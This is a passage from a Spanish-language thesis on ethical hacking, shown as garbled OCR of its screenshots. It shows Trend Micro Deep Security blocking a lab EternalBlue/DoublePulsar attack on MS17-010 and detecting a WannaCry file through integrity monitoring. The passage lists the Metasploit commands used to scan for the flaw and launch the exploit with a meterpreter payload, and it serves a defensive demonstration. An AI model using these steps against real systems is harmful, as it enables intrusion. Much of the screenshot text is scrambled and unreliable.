los de Interity Momitoring y Log Inspectio, estas reglas ayudaran en la auditoria e
integridad de archivos en el servidor victima.

Las reglas fueron liberadas en cuestién de segundos sin necesidad de aplicar reinicio
en el servidor o alguna actualizaciéon que pueda modificar a los aplicativos y con esto
se evito cualquier afectacién a la operacién del servidor victima, esta es una de las
grandes ventajas del parcheo virtual.

% WIN-KTPMGP2FE1K - gl Chrome

X @
@ Esseguro | https;//app.deepsecurity.trendmicro.com/Com B File
ibrar
Computer: WIN-K7PMQP2F81K @ Help
B overview General | Actions  System Events El
© AntiMalware Hostname: [ mp— (Last IP Used: 192.168.0.129)
@ Web Reputation Display Name:
© Firewall Description
© Intrusion Prevention
Platform: r 2008 R2 (64 bi) Build 7600
@ Integrity Monitoring
Group: com =
@ Loglnspection
Policy. None -
Application Control
Asset Importance: None =
™ interfaces
4 Downlosd Security Updates From:  primary Tenant Relay Group =
£ Settings
@ Updates @  Agent
@ Managed (Oniine)
% Overrides -
ask(s) Sending Policy
© AntiMalware 0n, no configuration
@ WebReputation off, not nstalled
on, no rules
© O, Prevent, 748 rules
© O, Real Time, 29 rules
®  onsnles
Glose

Figura 5.45: Médulos activados y reglas asignadas.
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5.2.4. Reglas de parcheo virtual.

Las reglas contra vulnerabilidades se encuentran en el médulo de Intrusion prevention
el cual mitiga la vulnerabilidad mediante parches virtuales y reglas inteligentes contra
comportamiento malicioso.

%) WIN-KIPMQP2FS 1K - Google Chrome - x

& Esseguro | httpsy/app.deepsecurity.trendmicro.com/Com

Computer: WIN-K7PMQP2F81K

E Overview General ~ Advanced Intrusion Prevention Events

Intrusion Prevention T
© AntiMalware

Configuration:  On -
Web Reputation

State: On, Prevent, 748 rules

© Firewall

© Intrusion Prevention

Intrusian Prevention Behaviar
©  Prevent

@ Integrity Monitoring Detect

@ Loglnspection Assigned Intrusion Prevention Rules

Application Control

Al v
M Interfaces q
£ Settings Assign/Unassign. (=] Properties. B Export - [E) Application Types. R Columns.
@ Updates NAME ~ APPLICATION TYPE PRIORI.. SEVERI.. MODE TYPE CATEGORY CcVE CVUSSSCO.. LASTL
2 Overrides € 1000128 - HTTP Protocol Deco... Web Server Common 1-low @ Gritical Prevent Smart  Web Application Prot.. GVE-2004-1.. 10.0 August
© 1001033 - Windows Port Mapp... Port Mapper Windows 2-Normal @ Low  Prevent Smart  Vulnerabilities and Ex.. N/A N/A July 11
© 1002364 - Microsoft Internet E.. Web Client Internet Explorer/Ed... 2-Normal - Medium Prevent Exploit  Vulnerabilities and Ex... N/A N/A April 22
(© 1003628 - Multiple Web Brows...  Web Client Common 2-Normal ® High  Prevent Exploit  Vulnerabilities and Ex.. CVE2009-2.. 7.1 July 26, ,
»
tem 1 1010001748 >l
Dannmman, rAatinne -

Close.

Figura 5.46: Reglas de intrusion prevention asignadas al servidor victima.

Cada regla de Intrusion prevention muestra una descripciéon general y también infor-
macién sobre la vulnerabilidad que mitiga mediante el parche virtual.

En las siguientes imégenes se podra observar la descripcion de la regla “Identified
Server Suspicious SMB Session” que mitiga la vulnerabilidad ms17 — 010 mediante el
parche virtual.
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General = Vulnerability =~ Configuration  Options  Assigned To
General Information

Name: Identified Server Suspicious SMB Session

This DPI rule detects the usage of suspicious SMB command used to create covert channels in SMB. This kind of attack is used by attack payloads like doublepulsar.
Description:

Minimum Agent/Appliance Version: 4.0.0.0

Details:

Application Type:

ices Edit

Priority:

Severity:
CVSS Score:

Detect Only

Events
Disable Event Logging
¥ Generate Event On Packet Diop
Always Include Packet Data

Enable Debug Mode

Identification

Type: Smart
Issued May 2, 2017
Last Updated May 9,2017
— 1008297

Figura 5.47: Descripcion de la regla Identified Server Suspicious SMB Session.

General | Vulnerability  Configuration ~ Options  Assigned To

Vulnerability Information

7-0148)
Date Reported:  March 14,2017

Type: Other

Severity: ® (Crtical)

cvssscore: 100

RErvetE e execution vulnerabilty exists i the way that the Microsoft Server Message Block 1.0 (SMB1) serv an attacker

® < the target server
Solution:
Roply this rule.

Vulnerable Software and Versions:

Figura 5.48: Informacion de la vulnerabilidad que mitiga mediante el parche virtual.

C | ® cvemitre.org/cgi-bin,

e.cgi?na

@2s\ /5~ Common Vulnerabilities and Exposures
BV

The Standard for Information Security Vulnerability Names

rollow v u m

unity & Partners | Blog | News | Site Search

Home | CVE IDs | About CVE | CVE in Use | Comi

TOTAL CVE IDs: 92365
HOME > CVE > CVE-2017-0144

Printer-Friendly View

CVE-2017-0144 Learn more at National Vulnerability Database (NVD:
« Severity Rating « Fix Information e Vulnerable Software Versions « SCAP Mappings

Other Updates & Feeds

Contact a CVE Numbering The SMBv1 server in Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server

Authority (CNA) 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607; and Windows Server 2016 allows remote attackers to
Contact Primary CNA (MITRE) - execute arbitrary code via crafted packets, aka "Windows SMB Remote Code Execution Vulnerability.” This vulnerability is different from
CVE Request Wib o those described in CVE-2017-0143, CVE-2017-0145, CVE-2017-0146, and CVE-2017-0148.

Reservation Guidelines

CVE LI
(all existing CVE 1Ds)

Note: References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.

Downloads « EXPLOIT-DB:42030
Search CVE List o URL:https://www.exploit-db.com/exploits/42030/
Searchitips « EXPLOIT-DB:42031
T B Y O ) o URL:https://www.exploit-db.com/exploits/42031
 EXPLOIT-DB:41891
Reference Key/Maps
I  URL:http: ww.exploit-db 1891
https:/ o explot- 1987

Figura 5.49: Referencia por parte de la CVE sobre la vulnerabilidad MS17 — 010.



5.2. FASE 2 Con agente de Deep Security y blindaje a las aplicaciones
criticas 71

5.2.5. Hacking ético con proteccion Deep Security.

De la misma forma que la fase 1, iniciamos con un escaneo de puertos con el objetivo
de validar los posibles accesos del ataque sobre puertos vulnerables en el servidor.

También se obtendré informacién del sistema operativo que tiene actualmente el ser-
vidor.

El comando para descubrir informacion del servidor y puertos abiertos es: nmap —O
IPservidor.

rootiKal: ~ g w9

File Edit View 5Search Terminal Help

9 (VMware)

e report any incorrect resul

address (1 host up) scanned in 44

Figura 5.50: Resultado de escaneo de puertos y versién del sistema operativo.
De acuerdo a la imagen anterior el atacante no pudo obtener informacién sobre el
sistema operativo del equipo.

= Iniciacién la base de datos de metasploit con el comando > # service postgresql

start

File Edit View 5Search Terminal Help
service postgresql start

Figura 5.51: Activacion del servicio de base de datos de metasploit.

= Iniciaciéon metaerploit con el comando > #msfconsole
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root@kali: ~ @ ® @

File Edit View Search Terminal Help

3Kom SuperHack II Logon

User Name:

P i

/metasploit.com

Figura 5.52: Activacion de consola metaspolit.

= Configuracién del auxiliar smb_ms17 010 para determinar que el sistema ope-
rativo del servidor es vulnerable.

A continuacién se muestran comandos ejecutados para la configuracién del auxiliar y
para determinacién de que el sistema operativo es vulnerable.

msf>use auxiliary /scanner/smb/smb_ms17 010, comando que realiza la carga
del auxiliar.

msf>show options, comando que muestra las configuraciones que se pueden realizar
en el auxiliar.

File Edit View Search Terminal Help

true Chec DOUBLEPULSAR on vulnerable hosts
address range or CIDR identifier

445

me to authentic 3
e number of concurrent thr

Figura 5.53: Parametros configurables del auxiliar smb_ms17_010.

msf>set rhosts 192.168.10.136, comando para. establecer la IP de la victima dentro
del auxiliar.
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msf>run, comando para ejecutar el auxiliar el cual mostrara si el servidor victima es
vulnerable por MS17 — 010.

root@hkali: ~ e ® 6
File Edit View Search Terminal Help
module execution

) > options

Module options (auxiliary/scanner mb ms1l7 ©108):

Name Current Setting Required

true L= Check for DOUBLEPULSAR on vulnerable h
192.168.16.136 yes The target address range or CIDR ident

ORT 445 yes The SMB service port (TCP)
BDomain - 0 The Windows domain to use for authenti

SMBPass 0 The password for the specified usernam

SMBUser The username to authenticate as
THREADS ) number of concurrent threads

msf auxiliarv( ) > run
ned 1 of 1 hosts (100% complete)

] liary module execution completed
msf auxiliary( ) >

Figura 5.54: Resultado que muestra que el servidor es vulnerable.

Como se puede observar en la imagen anterior, ya no se muestra que el servidor es
vulnerable como lo mostraba en la imagen de la fase 1, esto es porque el servidor
va tiene el parche virtual y esta blindado por Deep security, pero se continiio con el
proceso de ataque para observar el resultado final.

= Configuraciéon y ejecucion del exploit EternalBlue DoublePulsar.

A continuacionse muestranlos comandos paraconfiguracionel ezploit
eternalblue doublepulsar y la ejecucion de este para comprometer al servidor
victimacon IP 192.168.10.136.

msf>use exploit/windows/smb/eternalblue doublepulsar, comando que reali-
za la carga del ezploit.

msf> set payload windows/x64/meterpreter/bind tcp, comando que realiza
la carga 1til del ezploit.
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root@kali: ~ (- ~]

File Edit View Search Terminal Help
oit/windows/smb/eternalblue doublepulsar
) > set payload windows/x64/meterpreter/bind tcp
> windows/x64/meterpreter/bind tcp

) > I

Figura 5.55: Carga del exploit eternalblue doublepulsar

msf>show options, comando que muestra las configuraciones que se pueden realizar
en el exploit.

root@kali: ~ [- O ]
File Edit View Search Terminal Help
Module options (exploit/windows/smb/eternalblue_doublepulsar)

Current Setting
Description

Path directory of Et
SINJECT 1sass
Name of pro to inject into (Change to lsas

The target addre
45
vice port (TCP)
TARGETARCHITECTURE
y Target Architecture (Accepte x86, x64)
WINEPATH /root/.wine/drive
yes WINE drive_c path

Payload options (windows/x64/meterpreter/bind tcp):

Name

eh, thread, proc

Figura 5.56: Opciones de configuracion del exploit eternalblue doublepulsar.

msf>set targetarchitecture X64, comando que establece la arquitectura del siste-
ma operativo victima dentro de las configuraciones del ezploit

msf>set rhost 192.168.10.136, comando que establece la IP del servidor victima
dentro de las configuraciones del exploit.

msf>show options, comando que muestra las configuraciones del exploit.
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root@kali: ~ e e ¢
File Edit View Search Terminal Help

) > set targetarchitecture x64

) > set rhost 192.168.10.136

92.168.10.136

) = show options
odule options (exploit/windows/smb/eternalblue doublepulsar):

Current Setting
ired Description

DOUBLEPULSARPATH sr/share/metasploit-framework/modules/exploits/windows/smb/dep
yes Path direc y of Doublepulsar
ETERNALBLUEPATH usr/share/metasploit-framework/modules/exploits/windows/smb/dep
yes Path directory of Eternalblue
PROCESSINJECT Lsass.ex

Name of proces inject into (Change to lsass.exe for x64)

192.168.10.136
The tarpet address

vice port (TCP)
hitecture (Accepted: %86, x64)

WINEPATH 7 /root/.wine/drive c/
yes WINE drive c path

Figura 5.57: Configuraciones del servidor Victima en el eternalblue doublepulsar.

msf>run, carga del ezploit en el servidor victima, la comunicaciéon fue receteada

evitando que el servidor quedara comprometido.

Help

File Edit View Search Terminal

Figura 5.58: Carga fallida de exploit en el servidor victima.

De acuerdo al proceso de ataque, al momento de que el atacante culmina con la
ejecucion del FEzxploit Eternalblue  doublepulsar, éste arroja resultados fallidos para

crear la sesién y no logra entender si el equipo es vulnerable.

Este comportamiento es porque el servidor victima se encuentra blindado mediante el
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parche virtual que mitiga la vulnerabilidad MS17 — 010.

5.2.6. Evidencia de protecciéon de Deep Security.

El DSA se encuentra configurado correctamente con las reglas de protecciéon, en total
748 parches virtuales dentro de los cuales se encuentra el que mitiga la vulnerabilidad
MS17-010 utilizada por el atacante.

R SE
Slofun
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e by Mordcdrg Fe T S E1
Ly s sty = e £
[ e e
M alwme Protection -
Collald atrve Diabechion Pafer plerr
[ amage Clesrug Template 1542
Tnuled Agpkcabion Lai 1008
Irdedal ragy £ mcmefers FPalimen 1. 447 00
Irdeniln T r gy Fatneer LS
G prae 00 e e [P st @ 1285
[hwd il 5 gl L [F i anien 1528 00 :I
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Figura 5.59: Reglas configuradas en el DSA.
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Al momento de que el atacante quiso investigar la version del sistema operativo del
servidor victima, el DSA lo detecto, arrojo la alerta la cual se registro en el DSM y
bloqueé durante 1800 segundos el trafico proveniente de la TP del atacante, con esta

accion se evité que el atacante pudiera obtener informacién sobre el sistema operativo
del servidor victima.

TREND Deep Security Diversiones Hemanos Mota » | motaadriang@qmallcom » | &‘ News ~ | (3) Help | €} Support = || Q. Help Center Search
Dashboard ~ Actions  Alerts  Evenfs&Reporis  Computers  Policies  Adminisration
Smart Folders
B Computers  WihsubGroups v 8yGrowp v Q
| Computers
hAdd v+ [oekte. Eetls. 4 hActons v [EEens »  BEpot » [ Cobms.
NAME DESCRIPTION PLATFORM  POLICY STATUS
* Computers (2)
i WIN-K7PMQP2FB1K Microsoft Win... None Reconnaissance Detected: Computer 0S Fingerprint Probe

Figura 5.60: Deteccién de escaneo no reconocido sobre OS Fingerprint.

Y

 Esseguro | https//app.deepsecurity.trendmicro.com/Eventiien

General Tags

General Information

Tirme: Qctober 29, 2017 23:41:13
Level: Warning
Event ID: 850

Reconnaissance Detected: Computer 08 Fingerprint Probe

System
Manager hb3-19
Description
The Agent/Appliance detected an attempt 1o identify the computer operating system via a "fingerps the Agent/Appliance Events to see the details of the probe.
Agent/Appliance Event(s)
dress 192.168.10.137 attempted a “fingerprint” probe in order to identify the operating system

Traffic from IP 192.168.10.137 is being automatically blocked for 1.800 seconds. |

Figura 5.61: Descripciéon sobre el bloqueo de la IP del equipo atacante.

Al momento de que el atacante intento cargar el exploit eternalblue double pulsar,



78 Capitulo 5. Hacking Etico.

el DSA lo detecto, activo la regla que protege contra esta vulnerabilidad, registrd la
alerta en el DSM y bloqued el ataque dirigido reseteando el trafico proveniente para
explotar la vulnerabilidad MS17 — 010.

Computer: WIN-K7PMQP2F81K @ Help

B Overview General  Advanced  Intrusion Prevention Events

© Anti-Malware . .
Intrusion Prevention Events Al ~ No Grouping ~ -
@ Web Reputation

@ Firewall Period: Last 7 Days -

Intrusion Prevention
e Computers:
@ Integrity Monitoring

EExpot - @ AutoTagging..  FE Columns.
@ Log Inspection

TIME ~ COMPUTER  REASON TAG(S) APPLICATIONTYPE  ACTION  RANK SEVERITY DIRECT... FLOW
DCERPC Services 100 Critical Incoming  Cennection ..
DCERPC Services 100 Critical Incoming ~ Connection ... 0C

Figura 5.62: Activacion de la regla “Identied Server Suspicious SMB Session”.

Application Control

W interfaces [ October 30,2017 00:25:36 WIN-K7PMQP... 1008327¢dentified Server Suspicious SMB Session

ctober 30, 2017 00:25:22 WINKZPMOP... 1 Identified Server Suspicious SMB Session
October 30,2017 00:25:22 TPMQP... 1008327 dentified SMB Ses
£¥ Settings -

La siguiente imagen muestra informacién sobre la regla de Intrusion prevention ac-
tivada, la accién realizada, tarjeta de red protegida, IP del equipo atacante e IP del
servidor victima.

Se puede observar que el trafico fue reseteado.

General  Tags Data

General Information

Time:
Computer
Event Origin: Agent
Reason. 1008327 - Identified Server Suspicious SMB Sessior
Action:
Direction: Incoming
Flow Connection Flow
Ranlc
Interface:
Note:
Packet Type
Protocol cP
Flags: ACK PSH
Source
MAC 00:-0C:29:1D:4C:C1
Port: 42076
Destination
MAC 00:0C20.COEEAD
Port: 445
Packet Data
Packet Size 148 h
<Back Next > Close

Figura 5.63: Informacion de la alerta sobre el ataque realizado para explotar la vulne-
rabilidad MS17-010.

Con los resultados obtenidos con Deep Security se logré observar la mitigacién de
la vulnerabilidad MS17-010 y el bloqueo del ataque, evitando que el atacante tome
control del servidor, realice robo de informacién o peor aun realice un cifrado de
archivos como se mostré en la fase 1.
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i, Qué pasaria si un usuario mal intencionado sube el archivo Wannacry directamente
en el servidor sin necesidad de realizar un ataque explotando alguna vulnerabilidad?

El servidor quedaria comprometido de la misma forma en que si se realizara un ataque.

Actualmente la mayoria de los ataques provienen internamente dentro de la orga-
nizacién, en ocaciones usuarios descontentos pueden realizar robo de informacién o
ejecutar algtin archivo malicioso como Wannacry.

Pero para esto, también Deep Security puede prevenir con el médulo de Integrity
monitoring, a continuacién se muestra un ejemplo de céomo el usuario "Michelcrea la
carpeta Wannacry directamente en el servidor y sube el archivo malicioso.

En principio es necesario crear la regla para monitorear directorios o archivos, en este
caso se crea una regla para monitorear el directorio Datos.

General Content Options Assigned To

Template

Registry Value
= File
Custom (XML)

Base Directory

Base Directory
# Include Sub Directories
File Names
Include Files With Mames Like (One Per Ling)
s
Exclude Files With Names Like (One Per Ling)

7 matches one character

* matches zero or more characters
Attributes
Attributes to Monitor (One Per Ling)
STANDARD

Figura 5.64: Regla que monitorea directorio C:\datos.

La siguiente imagen muestra la detecciéon de la actividad del usuario “Michel”; por el
modulo Integrity Monitoring de Deep Security.
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Computer: WIN-K7PMQP2F81K

[ Overview General  Advanced Integrity Monitoring Events

© Anti-Malware
Integrity Monitoring Events ) il ~ No Grouping ~ Q Search this page

@ WwebReputation

Firewall Period:  Custom Range: - From: October3,2017 (0439 @ To November52017 [§ 0339 O

Intrusion Prevention
Computers:

Elview [BEport ~ @ AutoTagging..  EE Columns

(=]
(-]
@ Integrity Monitoring
@

Log Inspection

Application Control TIME - COMPUTER  REASON CHANGE RANK  SEVERL. TYPE  KEY
M Interfaces I October 30, 2017 00:19:26 WIN-K7PMOP... 1002781 - Microsoft Windows - Attributes of aservic. . Updated 25 Medium  Senvice  BITS
£3 Settings [ October 30,2017 00:19:26 WIN-KTPMQP_.. 1002781 - Microsoft Windows - Attributes of a servic.. Updated 25 Medium  Service  Appinfo
@ Updates [ October 30,2017 00:19:26 WIN-KTPMQP... 1002781 - Microsoft Windows - Attributes of aservic.. Updated 25 Medium  Service  AelookupSve
% Overides [ October 30,2017 00:11:08 WIN-KTPMOP... 1002781 - Microsoft Windows - Attributes of a servic.. Updated 25 Medium  Senvice  AeLookupSve
e October 30, 2017 00:10:52 WIN-K7PMOP... Monitoreo_datos Created 25 Medium ~ File c:\datos\wannacry\wannacry\. )
§Octoher 30 2017 00'10:4 INKIPMOP  Monitoreo dat realed Medium _File

Figura 5.65: De integrity monitoring sobre la politica “Monitoreo datos”.

La informacion que observo en el evento, se refiere al servidor con actividad no auto-
rizada, creacion del directorio Wannacry, y nombre del usuario que lo realizo.

Con esta informacién el administrador podré tomar acciones inmediatas para evitar
que el servidor sea comprometido y también recurrir a las instancias correspondientes
para sancionar al usuario mal intencionado.

General Tags

General Information

Time: October 30, 2017 00:10:52
Computer:
Event Origin: Agent
Reason: Monitoreo_datos
Change:
Rank: 25 = Asset Value x Severity Value = 1x 25
Severity: Medium
Type: File
Key: C chdatos\wannacry\wannacry\ed01ebfbcfeb5bbea545af4d0 1051107 1661840480439 c6e5babe8el80ed 1 aa.exe )
User: N/
Process: NjA
Description

‘When scanned the File had the following attributes:

Created: June 19,2017 21:13:22
Flags: 0O
Group:  WIN-K7PMOQP2F81K\None
Last Modified: June 19, 2017 21:13:22
COviner: WIN-K7PMOP2F8TK\Michel )
Permissions:  D:ARAI[AADFA-SY) (A ID:FA;BAY A1D:0x1200a0;BU)(AJD FA;5-1-5-21-1 2067356 89-032765201-4235645109-1000)
SHA-T: GFF465AFAABCBFOT50D1AZABZC2ETAF3A4426467

Ciza-  ARTATED

Figura 5.66: Detalle de alerta de integridad de archivos.

Otro tipo de alertas que se pueden obtener, es si algin usuario elimina archivos del
directorio “Datos”.
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criticas 81
Computer: WIN-K7PMQP2F81K
E Overview General  Advanced  Integrity Monitoring Events

© Anti-Malware . o
Integrity Monitoring Events Al ~ No Grouping ~ Q
@ Web Reputation

@ Firewall Period:  Custom Range: - From: October 3, 2017 m 04:39 [o] To: Novemnber 52017 [ 03:39 [o]
© Intrusion Prevention

Computers
@ Integrity Monitoring

@ Loginspection Elview BExport ~ @ Auto-Tagging.. EE Columns.
Application Control TIME ~ COMPUTER  REASON CHANGE RANK  SEVERL. TYPE KEY
M Interfaces i October 30,2017 00:26:31 WIN-KZPMQP... 1002781 - Microsoft Windows - Attributes of a servic... Updated 25 Medium  Service  Appinfo
# Settings October 30, 2017 00:26:22 WIN-KZPMQP_.. Monitoreo_datos Deleted 25 Medium  File ‘c\datos\muesta_aztecapdf.p
ctober 30, 2017 00:26:22 WIN-K. Monitoreo_datos eleter 5 Medium ile c:\datos\ SEXG-Best Practic.
@ Updat { i October 30,2017 002622 FPMQP... M d Deleted 25 Med Fil datos\OSCEXG-Best P
pdates
I October 30,2017 00:26:22 WIN-KZPMQP... Monitoreo_datos Deleted 25 Medium  File c:\datos\pendientes curso.txt
¢ Overrides

j October 30, 2017 00:26:22 WIN-K7PMQP... Monitoreo_datos Deleted 25 Medium  File c\datos\osce_12.0_req pdf

Figura 5.67: Alertas de modificaciones en el directorio C:\datos.

De acuerdo a los resultados mostrados en la fase 2 se logra observar como la plataforma
de seguridad Trend Micro Deep Security disminuye la superficie de riesgo y robustece
la seguridad del servidor bloqueando ataques dirigidos y mitigando vulnerabilidades
mediante el parcheo virtual.
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Conclusiones

En el presente trabajo se abordé la importancia que tiene la seguridad informatica, la
seguridad es un factor muy importante en todo lo relacionando en la infraestructura
computacional y la informacién que estd expuesta en todos los centros de datos que
existen en las instituciones. En la actualidad existe gente mal intencionada queriéndose
apoderar de los servidores o en su caso robar la informacién que es de suma importancia
para las instituciones.

Un hueco de seguridad muy importante que existe en las empresas o cualquier insti-
tucién que no actualizan sus parches de sus sistemas operativos, por el mal dicho “si
sirve no lo toques” este tipo de temas pone en riesgo a la organizacién y sus activos
informéticos.

Se mostré lo facil que es explotar una vulnerabilidad, lo sencillo de robar y cifrar
informacion, la disponibilidad de exploits generados por organizaciones de seguridad
de los Estados Unidos Americanos, pero también se demostré que con la herramienta
de seguridad Trend Micro Deep Security se disminuye la superficie de riesgo blindando
los aplicativos criticos de los servidores sin necesidad de modificarlos o actualizarlos.

Contar con una buena implementacién de politicas de seguridad informatica, debe ser
un punto clave en toda organizacion, de lo contrario se puede tener una gran caida que
puede perjudicar y causar pérdidas graves que pudieran haberse prevenido, es de vital
importancia que todas las organizaciones, publicas privadas y educativas cuenten con
proteccién en capas de seguridad para lograr disminuir la superficie de ataque pues
como se pudo observar en esta investigacién que las vulnerabilidades existen y son
explotables en cualquier versién de sistema operativo.
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